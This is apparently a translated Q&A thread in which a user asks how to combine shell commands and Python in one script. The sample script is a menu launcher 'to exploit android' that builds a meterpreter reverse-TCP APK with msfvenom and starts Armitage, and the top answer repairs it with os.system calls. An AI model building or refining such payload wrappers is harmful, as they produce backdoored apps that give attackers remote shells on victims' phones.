将py和sh代码组合在一个文件中

时间:2016-08-03 11:48:22

标签: python linux bash shell sh

我想知道如何在一个文件中组合sh和py代码然后执行它。我应该以什么格式保存它并执行命令?

这是我编写的一个示例脚本,看看它并告诉我对它的修改

#test

Print("hello welcome to test")

print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == 1:
    print("you have seclected android")
    lhost = input("Please type in ur ip adress > ")
    lport = input("Please type in ur recommended port to use > ")
    print("the apk installable is placed on ur desktop")
    print("we are using reverse_tcp")
    print("the LHOST is",lhost)
    print("the LPORT is",lport)
    !msfvenom -p android/meterpreter/reverse_tcp LHOST=(how do i add lhost) LPORT=(how do i add lport) R> /root/Desktop
    print("the apk is located in ur Desktop")
    !service postgresql start
    !armitage
elif user_response == 2:
    bla ..
    bla .. 
    bla ..
    testing bla bla bla

3 个答案:

答案 0 :(得分:2)

你可以。您必须导入os模块并包装shell命令,如下所示:os.system(“ls -l”)。 Source

因此,对于您的代码,它看起来像这样:

#test

print("hello welcome to test")
import os
print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == str(1):
    print("you have seclected android")
    lhost = input("Please type in ur ip adress > ")
    lport = input("Please type in ur recommended port to use > ")
    print("the apk installable is placed on ur desktop")
    print("we are using reverse_tcp")
    print("the LHOST is",lhost)
    print("the LPORT is",lport)
    os.system("msfvenom -p android/meterpreter/reverse_tcp LHOST=" + str(lhost) + " LPORT=" + str(lport) + " R> /root/Desktop")
    print("the apk is located in ur Desktop")
    os.system("service postgresql start")
    os.system("armitage")
elif user_response == str(2):
    bla ..
    bla .. 
    bla ..
    testing bla bla bla

Linux并不关心文件扩展名,但它仍然是一个python脚本,所以你应该使用.py。执行它的命令是“python3 scriptname.py”。请记住,您必须使用“chmod 755 scriptname.py”

将权限设置为可执行文件

答案 1 :(得分:1)

您可以保存Python文件并使用Python代码运行shell脚本:

import os
os.system('./script.sh')

答案 2 :(得分:1)

你不能直接写两个混合,但你当然可以在Python中运行shell命令:

import subprocess
retval = subprocess.call('echo foo', shell=True)

有关详细信息,请参阅subprocess docs